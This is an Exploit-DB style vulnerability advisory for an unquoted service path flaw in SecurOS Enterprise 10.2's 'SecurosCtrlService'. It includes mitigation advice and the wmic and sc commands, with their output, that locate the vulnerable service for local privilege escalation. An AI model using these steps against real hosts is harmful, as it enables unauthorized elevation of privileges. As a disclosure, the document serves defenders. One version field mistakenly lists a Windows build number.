Exploit Title: Intelligent Security System SecurOS Enterprise 10.2 - 'SecurosCtrlService' Unquoted Service Path

vendor:

SecurOS Enterprise

by:

Alberto Vargas

7.2

CVSS

HIGH

Unquoted Service Path

426

CWE

Product Name: SecurOS Enterprise

Affected Version From: 10.2 R1

Affected Version To: 10.0.18362

Patch Exists: NO

Related CWE: N/A

CPE: a:iss:securos_enterprise:10.2_r1

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro x64 Esp

2019

Exploit Title: Intelligent Security System SecurOS Enterprise 10.2 – ‘SecurosCtrlService’ Unquoted Service Path

The application suffers from an unquoted search path issue impacting the service 'SecurosCtrlService'. This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during applicatino startup or reboot.

Mitigation:

Ensure that all services are configured with a fully qualified path to the executable. Additionally, ensure that all services are configured to run with the least privileges necessary.

Source

Exploit-DB raw data:

# Exploit Title: Intelligent Security System SecurOS Enterprise 10.2 - 'SecurosCtrlService' Unquoted Service Path
# Discovery Date: 2019-10-28
# Exploit Author: Alberto Vargas
# Vendor Homepage: https://www.issivs.com/product-detail/secure-os-enterprise/
# Software Link: https://www.issivs.com/schedule-a-free-demo/(trial version for unlicensed users)
# Version: 10.2 R1
# Tested on: Windows 10 Pro x64 Esp

# Version: 10.0.18362

# Schedule A Free Demo - ISS - Intelligent Security Systems<https://www.issivs.com/schedule-a-free-demo/>
# Schedule a Free Demo A leading developer of security surveillance and control systems for 
# networked digital video and audio recording, video image pattern processing and digital data transmission.
# www.issivs.com

# Summary: ISS’ global standard for video management, access control and video analytics, SecurOS™ Enterprise is perfectly suited for 
# managing large and demanding installations. The Enterprise framework can manage and monitor an unlimited number of cameras and devices, apply 
# intelligent video analytics, and act as an integration platform for a variety of 3rd party systems. Built to handle enterprise level deployments, 
# SecurOS Enterprise, comes with built-in Native Failure functionality, Microsoft Active Directory / LDAP integration, and has an extensive set 
# of Cybersecurity features making it one of the most reliable and secure video management platforms in the market today. SecurOS Enterprise 
# supports all the features of the other 3 editions.

# Description:    The application suffers from an unquoted search path issue impacting the service 'SecurosCtrlService'. This could potentially allow an 
# authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require 
# the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could 
# potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges
# of the application.

# Step to discover the unquoted Service:

C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

SecurOS Control Service		SecurosCtrlService	C:\Program Files (x86)\ISS\SecurOS\securos_svc.exe	Auto

# Service info:

C:\Users\user>sc qc SecurosCtrlService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SecurosCtrlService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\ISS\SecurOS\securos_svc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : SecurOS Control Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem